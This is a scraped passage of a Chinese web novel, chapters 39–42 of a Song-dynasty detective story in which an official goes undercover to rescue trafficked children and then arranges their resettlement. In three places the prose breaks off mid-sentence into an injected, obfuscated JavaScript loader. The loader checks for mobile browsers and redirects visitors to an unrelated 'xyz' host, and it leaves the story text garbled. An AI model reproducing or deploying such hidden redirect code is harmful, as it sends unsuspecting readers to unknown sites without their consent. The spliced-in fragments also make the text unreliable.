柳晏也望着他,点点头:“这次我帮你做易容,一定把你化成个如假包换的喜欢雏伎的变态老男人,旁人绝对认不出来。” “……你这话说得没错,但是怎么听起来怪怪的。” 柳晏笑了,要往令狐朝身上去靠,令狐朝顺势掀开他的外衫,露出他肩膀上那个包好的刀伤来,解开打结的纱布,伤口已经开始结痂了。 “别动啊,再换一次药。”令狐朝伸手从桌上拿来早就捣好的草药,棉布沾水擦了擦伤口附近干涸的血渍和药汁,敷上新的药,再用干净的纱布包扎起来。 柳晏扬着脖子盯着令狐朝的脸,忍不住用手覆上他的侧脸,说:“晦言,有你在,你要我的命我也会毫不犹豫地给你” “死是很简单的,要为我死,太容易了。”令狐朝笑了笑,将纱布的尾端打结,推着他的后背让他坐回去,“我要你为我活着。” 柳晏闻言愣住了,转过身看着令狐朝,许久,他说:“好,我愿意为你活着。”说完他挪去了窗边,看外面的蒙蒙细雨,像身处云雾缭绕的仙境。 宋准拿着本书随意地翻看,心里想着的却是这几日的事情,突然他开口问道:“稚言,那个赵九成说的买雏伎的熟客,是永昌柜坊的钱员外?” “是啊,他怎么了吗?” “老鸨死前接触到的有毒的会子就是来自永昌柜坊,那夜我去永昌柜坊查他们的账目,你怎么也在?你去干什么?” “我去找你啊,你那么冒冒失失的进去,前一日还扮什么胡商,从你一进门就已经被识破了,要不是我在那替你周旋,你以为你还能活着离开?你能在账房查到的当然都是干净的明账,人家做黑市生意的账目还能叫你看见?”柳晏说起这件事仿佛心中颇有怨气,竹筒倒豆子似的噼里啪啦说了一大堆。 “我好心想去提醒你快点走,你倒好,二话不说上来就打我,十成十的力啊,我腰上那道伤现在还没好呢。” …… 宋准被噎得说不出话来,想了许久才说:“你当时手里不也举着把刀吗?” “我要不拿刀就不是腰上挨一刀了,脑袋还在不在我颈子上还两说。” “好了好了,别吵了,没一个省心的。”令狐朝不耐烦地打断了他们,转头又问柳晏,“伤在哪儿呢,给我看看。” 柳晏跪坐起来,掀开衣裳指指腰间一道横着的伤痕,血痂刚掉,新长出的皮肉透着粉色。 “你这不已经好了吗?还拿这个说事儿?”令狐朝在他后背上拍了一巴掌,拽过宋准的衣领指着他脖子上那道同样刚长出浅色皮肉的伤说,“这儿,不是你划的?你那淬了毒的刀子也是随便用的?要不是这小子命大,当天就死了。” “咳……好了令狐兄,不提这个了。”宋准手撑着矮桌,整个人弓在桌上几寸的位置,十分别扭。 令狐朝松开了手,柳晏十分不好意思地看着他们二人,说:“对不起嘛,我也没有真的想伤惟衡的,我不也用了活血的药给他嘛……” “以后别再拿这个事儿出来说,你们俩半斤八两。”令狐朝说。 39.断箭 又过了几日,柳晏中午睡醒时,床头扎着一支断箭,挂着一封信,他迷迷糊糊将那信取下来看,里面写着男童几人女童几人,各都几岁,以及送给客人的信要怎么写,还有一些上次没有讲清楚的交易细节,一并在其中。 柳晏立刻清醒过来了,下床去拿纸笔誊写,那信上不知用了什么墨,那些字迹正在以肉眼可见的速度变淡,待他誊写完时,那信已经变成了一张白纸。 梳洗穿戴完毕,他便拿着信去衙门找宋准,宋准前几日在市集上抓了几个小偷小摸的惯犯,正在牢里审人呢。 县衙门口的衙役是不会让闲杂人等随意出入的,柳晏便也没走那边,翻墙翻窗,直接进了牢里。 “还有什么?一并招供了。”宋准正坐在那几个被绑在刑架上的惯偷面前,听到身后传来脚步声,回头便看见了柳晏,“怎么这个时候来了?不对,你怎么进来的?” 后半句他压低了声音,起身迅速将柳晏拉到一旁,说:“擅闯牢房是犯法的!你知不知道。” “啊?犯法啊,我不知道,那我走?”柳晏的脸上都是茫然,是真的不知道不能这样,宋准叹了口气,道:“算了,下不为例。这个时候来是有什么急事儿吗?” “是要给你看这个。”柳晏从怀里拿出那支断箭和誊写的信,“你看,这么些孩子,现在肯定都被关在什么地方,现在能确定的是交易之前他们肯定都是安全的。” 宋准看完了那信,又看了看那支箭,箭头上铸着盘龙,和之前那两支箭一样。 “你之前给我送字条的时候,用的那箭是哪儿来的?”宋准问。 柳晏想了想说:“捡的,本来想用飞镖的,但我那些镖上都有毒,怕你不小心把自己弄伤了,正好那天刚从屋里出来,就看到半支箭在楼下,我就去捡回来了。怎么了吗?” “你没发现那支箭和这个一样?” “啊?”柳晏瞪大了眼睛,拿过那箭头在光下看了又看,不可置信地抬头,“一样?” 宋准叹了口气,十分无奈地说:“这个图腾,是一样的。如果你没说瞎话的话,你捡到的那支箭,这支箭,还有杀掉古董商的那支箭,都是来自九曜的。” “啊?真有这么寸吗?” “别啊了,我这边人还没审完,你先回去,我放值了就去找你,你再把令狐兄也叫去,咱们总要商议一下。”宋准从腰上解下自己的令牌递给他,“拿这个,从正门出去,有人问就说我叫你来的,以后别这么冒冒失失的啊。” 柳晏接过令牌,十分乖巧地点头作揖:“嗯嗯嗯!多谢宋县尉,小人谨记教诲,必不再犯。” “好了,别装模作样了,回去吧,这地方还是少来,容易招惹是非。” 送走了柳晏,宋准重新回到那几个小贼面前,接着审问他们赃物的藏匿地点,花了近一下午的时间,才把他们嘴里的话掏了个干净。 像这种惯偷,都是见多了官府手段的,每次偷的东西不多,最多打个几十杖,要么徒一年,总之死不了,死不了那就继续偷,总之不肯改邪归正。 从牢里出来的时候日头都已经西斜,回县廨洗了洗身上浊气,换了身常服,宋准便骑着马往吟兰苑去。 外面的日头落了,正是吟兰苑的灯火点亮之时,伙计将马牵去马厩,宋准拿着柳晏的手书直接进了花魁楼阁。 刚上楼,走到柳晏房门口,就听见他的笑声,听起来他心情甚好,令狐朝说了句:“时候差不多了,惟衡是不是也该到了?” “我去瞧瞧!”柳晏说完过来开了门,正和宋准撞个满怀,“惟衡!快进来快进来。” 宋准跟了进去,取下佩剑放在桌上,问:“在说什么呢这么开心。” “在说我的新戏,落魄小仵作和温婉小厨娘,哈哈哈哈哈哈……”他真的把那日随口一说的话编成了戏文,令狐朝在一旁无奈地笑着,抿了口茶。 柳晏拿出早上那封已经变成了白纸的信,说:“你来了咱们就说正事儿吧。瞧,他们倒是谨慎,用的墨都是见光就消散的,莫名其妙。” “不想让人之后通过字迹认出写信的人吧,这是不是说明写信的和来谈生意的可能不是同一人?”宋准说。 “哇,聪明啊惟衡,很有可能。”柳晏露出赞赏的目光,又拿出来他写好的要送去给客人的信,“这个信我已经按他们说的写好了,惟衡,你要扮作买家,准备哪日来啊?” 宋准想了想,说:“今日是二十六,还有十三日是初九……择日不如撞日,就今天吧。” “行,左右我也闲着,我来伺候你?”柳晏俯身撑在桌上看他,十分妖媚地眨眨眼睛,夹着嗓子说,“客官,想听曲儿,还是对赋啊?小蛮近日新学了胡旋舞,客官想看吗?” 柳晏的语气暧昧极了,听得宋准直起鸡皮疙瘩。 他皱着眉往后靠了些,撇了撇嘴:“噫,好骇人的话,令狐兄,你平日是怎么受得了他的。” 令狐朝一口茶险些喷出去,咳了几声笑着说:“哈哈哈哈哈哈……习惯了就好了,这孩子就是嘴上说说,你若真叫他做什么,他才不敢呢。” “不敢?谁说我不敢?”柳晏起身在令狐朝身边坐下,凑近了伸手就要往他衣襟里探去,令狐朝垂眸看着他的脸,先一步解开了自己的外衫。 柳晏的脸瞬间烧得通红,坐直了身子,手僵在离令狐朝衣襟就几寸的地方,半晌,他深吸一口气捂着脸转过身,闷闷地说:“你说得对,我真的做不到。” 令狐朝重新将外衫系好,拍拍他的后背:“好了,过来说正事儿。” “等等。”柳晏一动不动,声音小得像蚊子哼哼,“我……算了不说了,你知道的。” 令狐朝笑了笑,对宋准说:“等他好了就给你易容,方才我们把要用的东西已经准备好了,搞完了你再去前厅晃一圈儿,让人看到你。” “好。”宋准点点头,想了想又问,“应该不会再被看出来吧?我是不是应该学一学稚言说的,呃,喜欢雏伎的变态老男人的样子。” “噗嗤!”柳晏闻言笑出声,抱膝转过身来说,“这个简单,老男人我见多了,我教你。” 令狐朝抬眼瞧他:“好了?” 他点点头,说:“好了。” “那去拿东西吧,惟衡,往中间坐坐。”令狐朝下榻穿鞋,又把柳晏拎下来,“去拿你的那些东西去。” “噢,让惟衡先把衣服换上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“哈?”宋准十分疑惑地看着他,指指自己,“我?鬼樊?卧底?你不是说你早就金盆洗手了吗?” “哈哈哈哈哈对啊,所以我开玩笑的。”柳晏眨眨眼,从一旁的一个匣子里拿出一个身份符碟和过所递给他,“现在你就是西域的胡商阿尔斯兰,做的是布匹生意,停留一个月就要离开,临走前要买个江南女子回西凉。” 宋准看着那符碟和过所,说:“阿尔斯兰?你什么时候做的假符碟?” “不是假的,是自己人的,借来用用。”柳晏坐到旁边的凳子上伸了个懒腰,“啊~阿尔斯兰,意思是雄狮,别记岔了。” “好,我记住了,再教我些西域口音,我装得像些。” 柳晏说:“西域口音啊,你就一句话里几个东西换个顺序,多打点比方。啊…就好比你要说‘这个姑娘生得真好看’,你就说‘这个姑娘花一样的模样有的呢’,哈哈哈哈哈哈哈……” 他一句话说完,笑得前仰后合,令狐朝也笑了,补充道:“还有,你的语调可以张扬一点,像唱歌那样,上下起伏的感觉。” 宋准有些疑惑地压着声音按令狐朝说的重复了一遍柳晏的话:“这个姑娘花一样的模样有的呢?” 40.胡商 “哈哈哈哈哈哈哈!对!就是这种感觉!”柳晏已经笑得直不起腰来,“好了,你可以出师了。一会儿让白兔带你先从暗道出去,你再走正门进来,给了花茶费跟伙计说点小蛮,白兔会带你过来。来,钱给你。” 他递给宋准一沓会子,拿出把镶了不少宝石的短刀挂在他腰间,还有一堆首饰一并戴在他身上。 宋准点点头,任由他摆布。柳晏出门叫来了白兔,送他出了角门。 按照柳晏说的在前厅晃悠了一圈,又在戏台前看了会儿歌舞,刻意在几个客人面前高调路过,操着西域口音说了几句话,这才去跟伙计点了小蛮伺候。 伙计算好了账,叫人带宋准去花魁楼阁,叫来的人也正是白兔。 回到柳晏房里,刚打开门柳晏见到宋准明显愣了一下,随后才反应过来说:“我差点忘了给你做了易容,还以为是什么人闯进来了,哈哈哈……” “说明你的手艺真的很好啊,那我就更不担心会被人认出来了。”宋准笑了笑,又问,“我要怎么把面具拿下来?” “你来。”柳晏示意让他坐在凳子上,拿了一碗水和一支小毛刷,用毛刷沾水从边缘慢慢剥离,一张面具就被完整地卸了下来。 宋准揉揉脸,呲牙咧嘴:“这东西戴久了感觉脸都僵了。” “当然了,又不是自己的脸。”令狐朝走过来,拿了摘下来的面具放到了一块泥塑的人脸模具上,防止面具变形。 “惟衡,这个信你拿着,过两日再这么来一次,一直到下月初九,就能去三槐堂看那些孩子了。” 柳晏说着,又拿了张路观图来,是染坊巷那一坊的,他又把令狐朝拽到桌边来,指着路观图上的位置说:“三槐堂这个位置,正在巷口,南面和东面都有房屋,另两面又是路,若是要让捕快埋伏的话,可不太好藏。” 宋准思索了片刻,指了指巷口的那座石桥:“若是藏在水里呢?那水渠里有不少水草,若是藏在水草下面,想来在上面是看不见的。” “确定可行吗,还是去试试吧。”令狐朝说。 “好。”宋准和柳晏同时应道。 三人都换了夜行服,从暗道出去,一路来到染坊巷口,好在此时箱子里工坊都早已下工,一路上都没有人,月光也不太亮,更不用担心被人看见。 宋准先下到那水渠里,这水渠是连通的西湖水,平日里又有专人清扫,因此里面除了水草之外,并没有什么杂物,水也是干净清亮的,宋准下去,水刚没过大腿。 深吸一口气在水里蹲下,将整个人都浸下去,拉过水草挡在头顶,令狐朝在石桥上看,柳晏跳上了街边一户人家的屋顶往下看,都看不出什么异样。 宋准在水下闭着气,坚持不住了才站起身,抹了把脸,抬头问令狐朝:“怎么样?能看见吗?” 令狐朝摇摇头,招手示意柳晏下来。 宋准爬上岸,解下外衫用力拧着水,风一吹,没忍住打了个哆嗦,令狐朝见状说:“这不行啊,从水里出来行动不便,身上都冻得邦硬,怎么抓人?” “下个月天气暖和了,不碍事的,总不能因为怕冷就放弃这么好的机会。” “哎,你可真是……”令狐朝叹口气,说,“先回去吧,吹出风寒了可要不得。” 从偏僻的小巷道里绕回吟兰苑后街,正遇上有马车来接人,三人立刻躲进了一棵大树后的阴影里,想等那马车走了再回去。 侍从点了灯笼照明,出来的是个商人打扮的男人,手里拿着个什么东西,看着似乎是个信封的样子,他把那东西递给了身旁的侍从。 柳晏探出半个脑袋看着,压低了声音说:“这好像是钱员外。” “永昌柜坊那个?”令狐朝问,柳晏点点头,说:“嗯,之前见过一次,身形挺像。” 马车往巷子另一头去了,听着声音远了,柳晏拉着他们二人出来,进了角门,没走暗道,直接穿过后院回了花魁楼阁。 宋准一路上打了好几个喷嚏,一进屋就被令狐朝推去珠帘后面换衣裳,他又去厨房里拎了个炭盆回来,将柳晏的药放在那上面熬。 “惟衡,过来烤烤火。”他说。 “噢,好。”宋准过去蹲在了他身边,火苗从罐底窜出几簇来,舔舐着罐身,罐中的药渐渐开始沸腾,咕噜咕噜地顶着罐盖。 柳晏也过来蹲在了旁边,双手抱在腿上,歪头看着令狐朝的脸,火光把他们的脸都映成了橘色,看起来暖暖的。 “晦言。”柳晏唤他。 “嗯?”令狐朝抬眼,正对上了柳晏的目光。 柳晏笑了笑,说:“你好好看。” 令狐朝翻了个白眼儿,将那药罐子拿下来放在地上,说:“多谢柳老板夸赞,快把药喝了。” 柳晏从桌上拿过他的药碗,倒了一碗端在手里,小心地吹着,抿了一口,苦得整张脸都皱起来。 “阿嚏!”宋准又打了个喷嚏,揉揉鼻子。 柳晏眼珠子一转,笑着对令狐朝说:“快,晦言,给惟衡也弄碗药喝。” “啊?我不要,我喝点热茶水就好了。”宋准摆手拒绝,令狐朝抓过他的手腕一探脉象,转头对柳晏道:“他没事儿,你喝你自己的药。” “过分。”柳晏站起身,坐到了榻上,确定那药不烫了,仰头一饮而尽。 宋准烤了会儿火,身上早已经暖和起来了,便说:“今日也不早了,我就先回县廨了,明日我再来。” “正好,我跟你一起出去。”令狐朝也站起身,拍了拍起了些褶皱的衫子,又从怀里掏出一小包果脯递给柳晏,“我也回去了,明早我要去早市买鱼,想喝鱼汤的话可以来找我。” “嗯嗯。”柳晏十分乖巧地点点头,“我送送你们。” 转眼就是四月初九,这些日子,柳晏把真正的阿尔斯兰叫来给宋准教西域话,他竟然学得有模有样,柳晏不住赞叹:“这要是给从前的鬼樊干活儿,惟衡一定是干得最好的那个。” 而这时候令狐朝就会说:“那你的楼主之位呢?” “那只能是我,楼主只能是我。”柳晏会眯起眼睛笑笑,这样说。 在令狐朝的日日监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600651|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 督之下,柳晏的身子也调养好了,扎完最后一次针,泡完最后一次药浴,他如释重负般躺在床上,说感觉自己又活过来了。 初九这日晌午,三人便在令狐朝的船屋里碰了头,商议了半日晚上的计划,不是因为计划出了什么纰漏,而是令狐朝看出夜里会下雨,而那人皮面具见了水是会脱落的。 柳晏一边咬着果脯,一边有些含糊地说:“所以动作一定要快,那日不是已经试过了,雨不大的话最多也才能撑得住一盏茶的时间,万一雨大一点,不就更完蛋了。” “我若戴个帽子呢?那日看阿尔斯兰大哥戴的那种帽子,多少遮一点雨。” “依我看,应该不会有什么问题,你们是贵客,路上都有马车带去,撑着伞,就算淋雨,也不至于淋得到一盏茶的功夫吧。”令狐朝啃着块鱼干,说出来的话也有些含糊。 “话是这么说没错,但万一呢?”柳晏问。 宋准的表情有些凝重,许久,他说:“那就随机应变吧,若实在不行……只要我没被认出来,就等下一次交易,总能找到机会把他们一窝端了。” “这样的话,衙门和提刑司那边你怎么交代?办案不力,难免受罚。”令狐朝说。 “我受罚不要紧,案子总得办,我自知无能,就当吃教训,什么罚我都认。”宋准一脸视死如归的表情,仿佛立刻就要英勇就义了。 柳晏往他身边挪了挪:“别太担心,还有我呢,肯定不会让你受罚的。” 夜里,宋准戴上人皮面具,换上了柳晏准备好的西域商人的衣裳,从暗道里到了花魁楼阁正中那间最好的厢房里——那是专门接待贵客所用的。 一出来,就看见有两个买家已经等在了屋里,其中一位正是那钱员外。 小蛮穿着条天青色的裙子,头戴一支翠玉簪子,站在一旁同他们调笑着,脸上的妆浓艳极了,胭脂香粉的香味浓郁,熏得宋准鼻子痒痒的。 见伙计带着宋准来了,她转头说:“贵客们都到了,请再稍候片刻,卖家即刻就到。” 说完,她开了门出去,向对面走廊上的白兔打了个手势,白兔便进屋将那个刀疤脸带了过来。 刀疤脸一进屋便敷衍地一抱拳道:“诸位也知道最近风声紧,孩子们可是害怕得很呐,咱们多少都是有头有脸的人物,不能让孩子们寒心不是?” 钱员外一听这话,捋着胡子说:“规矩我都懂,你只说,又要涨多少?” 刀疤脸比了个“三”的手势:“怎么样?够良心吧。” “真是狮子大开口啊,行,什么时候去验货?” “您请吧,车已经在门外候着。”刀疤脸伸手向暗道入口,又抬眼对宋准和另一买家说,“您二位是新客,须签契书才可同去。” 小蛮在角落对宋准轻轻点了点头,他便说:“可以,拿来签了就是。” 宋准在契书上签下了阿尔斯兰的名字,刀疤脸又如料想一般查看了他的身份符碟和过所,仔仔细细搜了他的身,又以同样的方式检查了另一位买家,这才带着他们前往角门外的马车上。 41.玉石俱焚 马车一路颠簸着,宋准在心里计算着走了多远,在哪里拐了弯,在哪里稍作了停留,盘算下来,确实是往三槐堂的方向。 这一路上柳晏无法明面上跟随,他送走这些人,立刻回去换了夜行服远远地跟在后面,到了染坊巷口,窜上了那棵大榕树。 捕快们一早埋伏在了附近巷子里,因为埋伏在水里的方式还是被否决了,不确定刀疤脸带着这些买家究竟会什么时候到,担心在水里太久了出来行动不便,就让捕快在稍远一些的地方,见机行事。 令狐朝猜测的不错,确实下了些雨,不过好在很快就停了,便也无需担心面具会出问题了。 马车到了三槐堂门口,刀疤脸先下了车,将车上几人迎下来,带他们入了院内。 天上乌云密布,没有月光,院子里点的几盏灯也只隐隐照出一小块地方,四面高墙,不知究竟是为了防外面的人进来,还是防里面的人出去。 在院子角落的地窖入口,刀疤脸敲了敲旁边的一块石板,门从里面打开,带着这几个买家进去。 地窖里面的空间很大,靠墙摆了一排排架子,上面都有很大的筛网,不知是用来做什么的。 最里面是一排铁笼,那些孩子就像牲畜一般被圈养在里面,见有人来,都怕得浑身颤抖,却不敢哭,只是缩在角落看着他们。 “诸位,这次这些可都是上等货,模样那是一个比一个水灵,瞧瞧。”刀疤脸说着,将手里的灯笼举到笼子边,照亮那些孩子的脸,宋准瞧着,好几个都是在衙门画过像的。 钱员外十分熟稔地走近了,挨个瞧着那些孩子,随后指着一个小男孩儿问:“这个多大年纪?” 那小男孩儿瑟瑟发抖,低着头不敢看他,刀疤脸一脚踹向铁笼,巨大的回声瞬间在这地窖里回荡:“哑巴了?!教你的规矩呢?” 小男孩儿立刻跪下匍匐在地,带着哭腔说:“回…回贵人的话,七岁。” 钱员外脸上露出个十分满意的笑来,点点头:“就这个吧。” 说完他掏出两大块银锭递给刀疤脸,刀疤脸满脸堆笑,接过那银锭咬了一下,揣进衣襟里,又掏出一串钥匙,打开笼子拽出那小男孩儿,对钱员外说:“一手交钱一手交货,此单已结,我让兄弟送您出去。” 钱员外拽过那男孩的手,跟着在一旁等候的大鼻子出了地窖,宋准正思索着该如何向外送消息,就听见了外面传来放烟花爆竹的声音,不用再过多思索,一定是柳晏已经看准动手的时机了。 宋准当即上前将那刀疤脸擒住,在一旁等候的另一个买家竟也上来摁住了不断挣扎的刀疤脸,掏出一粒丸药塞进了他嘴里,不久他就不动了。 正当宋准惊讶之时,那买家开口道:“宋县尉,在下鬼樊青雀,楼主派我来助您一臂之力,这是迷药,他不会有事。” 这买家竟也是柳晏安排的,宋准正松了口气,却觉得这地窖里似乎有什么烟雾弥漫开来,味道甚是刺鼻。 他立刻起身冲到地窖入口,只见那地窖门已经关闭,沉重的石门无论怎么推都纹丝不动,门边也没有任何机关可以开启石门,极度不好的预感浮上心头:他们这是要玉石俱焚! 那刺鼻的气味越来越浓烈,被关在笼子里的孩子们都不住地咳嗽起来,青雀在身后叫道:“宋县尉!是毒气,须尽快想办法出去!这些孩子们撑不了多久!” 宋准用衣袖捂住鼻子,想起不久前令狐朝给过他一小瓶救急丹,这次换衣裳时正好揣进了袖子里,他在袖子里摸索着,将那瓷瓶里的丸药都倒出来,数了数,勉强够那些孩子用。 把药都让年岁小些的孩子们服下,几个大一点的孩子还有他和青雀,都只勉强撑着,地窖里没有任何工具能用来开门,只能等外面的人将那石门弄开。 又过了许久,久到宋准快失去意识,突然石门那边传来巨大的爆裂声,地面上似乎都在震动,烟尘四起,噪杂的人声,是捕快们在挖开坍塌的砖石和土。 “惟衡!青雀!”柳晏撕心裂肺地喊着,听到宋准耳里却感觉十分遥远,他拼尽全力回应了一声,柳晏听见了,又喊道:“惟衡!你还好吗!我们马上就挖开了!” 宋准却再没力气应他,他和青雀将那几个大些的孩子护在怀里,彻底失去力气前,看到了柳晏冲向他们的身影…… 再次清醒的时候,他正躺在县廨自己的床上,令狐朝,王县令,还有州府的司法参军曹牧,都在屋里。 “宋县尉醒了!”令狐朝守在床边,最先看到他醒过来,王县令和曹参军闻言立刻围了过来,问他身上怎么样。 宋准有些说不出话来,嗓子似有火烧般,咽口唾沫都疼得厉害。 “是不是嗓子疼?”令狐朝问,宋准点了点头,他便回头对王县令曹参军说,“宋县尉吸入了不少毒气,伤了嗓子,恐怕还得一段时间才能说话。” 王县令了然,点点头道:“那便再缓缓。宋县尉,三槐堂那几个人已经都伏法,孩子大多已经送回本家,此案办得漂亮。” 曹参军拿出一封诏书道:“此案事关重大,宋县尉侦破此案,安抚了民心,还将沉积旧案一并解决,皇帝听说此事,特赐御笔敕书以兹表彰,另赐宅院一间,金帛若干,望宋县尉今后继续秉公探案,造福万民。” 宋准闻言挣扎着要起身谢恩,令狐朝在旁将他扶起,他下了床跪下行了大礼,强忍着喉咙里的灼痛,沙哑着声音说:“臣叩谢圣恩。” 曹参军上前将他扶起,说:“此案后续的审理提刑司会接管,那些孩子的安置问题,就要县令和县尉再多操心一下了。” “是,臣义不容辞。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604687|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曹参军要赶着带犯人回州府,王县令说他要去处理那些旧案的文书,相继离开,只剩下令狐朝留在屋里,宋准坐在床边上问:“稚言和青雀怎么样?那几个孩子呢?” “放心,都吃过药了,左不过和你一样,吸了好些毒气,嗓子灼痛。稚言把你抬出来就带上青雀先走了,他们不便在官府的人面前现身,稚言给了捕快们些好处,他们不会说漏嘴。” 宋准伸手在脖颈上按了按,咽了口唾沫,刚想开口说话,令狐朝便把食指放在嘴边做了个噤声的手势:“少说话,否则以后说话都是公鸭嗓了。我熬了些川贝枇杷水,喝一点吧,会舒服些。” 宋准接过他端来的碗,刚好温热,闻着很香甜,许是加了不少糖。 令狐朝似乎看出了他的疑惑,笑了笑说:“加了些蜂蜜,糖水润喉,好得快些,比药可好喝多了。” 果然如令狐朝所说,喝下后喉咙的灼痛减轻了不少,就是前额还有些疼。 令狐朝探上他腕间,仔仔细细将两只手上的脉都检查过,才说:“好在吸入不多,内里都没什么大碍,但好歹是毒,须得将养一阵子,饮食要清淡,心情也不可大起大落。” 宋准点点头,令狐朝察觉他似乎有话想说,便将怀里的记簿和笔递给他,他在纸上写:“还有多少孩子没安置?” “你救出来的十几个,还有钱员外府上找出来的还活着的四个,被拐走的孩子都被本家接回了,剩下的是被父母卖掉的,还有其父亲觉得败坏门楣不愿接回的,共七个孩子。” 宋准又写:“败坏门楣?” “嗯,都是女孩子,说被男人糟蹋了不干净了,领回家也没法嫁人,还会受人指点,不如留她们自生自灭。”令狐朝叹了口气,“没办法,这世道就是这样。” “这也不是那些孩子愿意的,如何要因为恶人的错去惩罚她们?” “县令也是如此说,但那些孩子的父亲很坚持,只能先如此。不过稚言说他可以帮忙安置,看她们愿意在吟兰苑,还是愿意去织坊。” 宋准闻言有些惊讶,织坊竟然愿意收留这些无家可归的孩子,从前柳晏还一副要和他们对着干的模样说要帮着织坊,闹得他真的怀疑过织坊的人是不是干了什么伤天害理的事儿。 令狐朝看出他的疑惑,说:“放心,我已经把他的嘴撬开了,娘娘庙里的那个老太太,就是收养了不少这样的孩子,她们的一应生活所需,都是织坊的人送去的,那个坊主偶尔会去偷几个孩子,稚言才不敢将此事告诉咱们。” “偷孩子?”宋准皱起眉头。 “是那种在家里每日被父母非打即骂的过得很可怜的孩子,女孩子居多,她见到了就会带她们走,治好伤送去娘娘庙,长大了便可以来织坊做工,或者给她们安排别的能养活自己的活计。”令狐朝说。 42.神佑归途 “周娘娘会庇佑天下所有的孩子,让他们在更好的家里过上更好的生活。” 宋准脑海里突然回响起娘娘庙里那位老妪说的话,在更好的家里过上更好的生活,初听时他并未多想,听了令狐朝说的,才知道原来是有这样一层意思。 他又在纸上写:“这些孩子的户籍怎么办?户籍文书不全,以后恐怕很难独自生活。” “是,但坊主说再不济也可以留在织坊做工,总不会差到哪里去。” “不如趁着次安置那些孩子的机会,将娘娘庙的孩子的户籍文书一并办了,也算为她们做些什么。” 令狐朝脸上闪过十分欣赏的神色:“好啊,稚言知道定高兴坏了。诶,朝廷赐给你的宅子,要去看看吗?离衙门还挺近的呢。” 宋准摆了摆手,在纸上写道:“晚些时候。” “也好,你现在好好休息,忙了多日,总归能放松下来了。”令狐朝说着,从袖子里拿出个话本递给他,“给你解解闷儿吧,稚言十分挂念你,我让信鸽给他送个信。” 夜里,宋准随令狐朝一同去了吟兰苑,令狐朝还是不让他说话,教了他些鬼樊的手语,让他打手语交流,宋准十分无奈,却也只能老老实实学。 前厅戏台上,柳晏正在上面唱曲儿呢,他似乎格外喜欢柳永,一连几首都是他的词,令狐朝微微侧头对宋准说:“稚言喜欢柳永的词,给自己取名字也要随他的姓。” 宋准这才知道,为何当初柳晏说自己原本不姓柳,原来是因为这个。 唱完了最后一曲,柳晏才抱着琵琶从戏台子上下来,笑着朝他们二人跑过来:“惟衡!你可好些了?” 宋准点点头,用令狐朝教的手语比划:“只是还不能说话。” 柳晏看了先是一惊,随后十分激动地笑起来:“哇,学得好快啊,我说他适合给鬼樊干活儿吧,这要搁以前,得是最受楼主宠爱的孩子了。走吧,先回房去,这儿人多不好说话。” 他将琵琶递给戏台边上另一个姑娘,拽着令狐朝的袖子往后走,宋准紧随其后,穿过游廊,这时庭中海棠花开得正好,在月光下粉白粉白的,甚是好看。 进了房里,柳晏点上了几盏灯,坐在了榻上,招手唤他们过来。 宋准拿出了令狐朝的记簿,将中午写的安置那些孩子户籍的事情拿给柳晏看,柳晏看完,十分难以置信地抬头,两行泪落了下来,他忙不迭伸手去擦。 “真的吗惟衡。”他说。 宋准点点头,在令狐朝身边坐下,示意令狐朝跟他详细说明,令狐朝便将他们中午所说的内容都一并说给了柳晏,又补充道:“惟衡现在有皇上的敕书,他能办到的事情可就比从前要多上不少。” 柳晏笑了,眼泪却怎么也止不住,断断续续说:“我……我不知道该说什么好了,那时我以为…以为你们会责罚她们,我还……” 令狐朝递给他一块帕子:“好了,别哭了,这眼泪跟断线珠子似的,妆都要花了。” “花了便花了,这又没有旁人。”柳晏擦着脸,吸了吸鼻子,“那明日我去一趟织坊,和坊主说一下这件事,把孩子们的户籍都办了。” 宋准微笑着看他,用手语比划了个:“一切顺利。” 后面的事情确实也一切顺利,柳晏向坊主坦白了一切,告诉她们如今有县尉帮助,可将那些孩子的户籍交由官府去办。 孤儿的户籍办下来,统一落在官府新成立的慈幼局之下,专门救助这些孤儿和贫苦人家无力养育的孩子,织坊坊主为每个孩子都做了衣裳,很多士人商人慷慨解囊,柳晏更是将自己攒的一半积蓄都捐了出去,让孩子们上学。 提刑司的判决下来,三槐堂那几个人牙子皆秋后问斩,审问出的那些买家也多半徒十年或流放,并没收其财产,一时间,临安城内百姓无不感慨宋县尉办案如神,有些说书人还将其奉为当代狄公,到处讲着他的事迹。 消息传得飞快,皇城里也来了诏书,丞相李涉命宋准进京述职,即日启程。 接到诏书的时候宋准还很是忐忑,他去问令狐朝:“李丞相是什么样的人啊,令狐兄可曾听说过吗?” 令狐朝只是摇摇头,让他去问柳晏。 柳晏思索半天,说:“他也是这两年才当上丞相的吧,据说是原先北方门阀家的子弟,考的锁厅试入了仕途,一路高升啊,啧啧啧,这样的人,想必又聪慧,又会做人,少说也得八百个心眼子。” 柳晏的话让他一路上都忐忑不安,生怕到时候哪句话说错了便人头点地,但好在不用见皇帝,只是在丞相府述职,只见丞相一人。 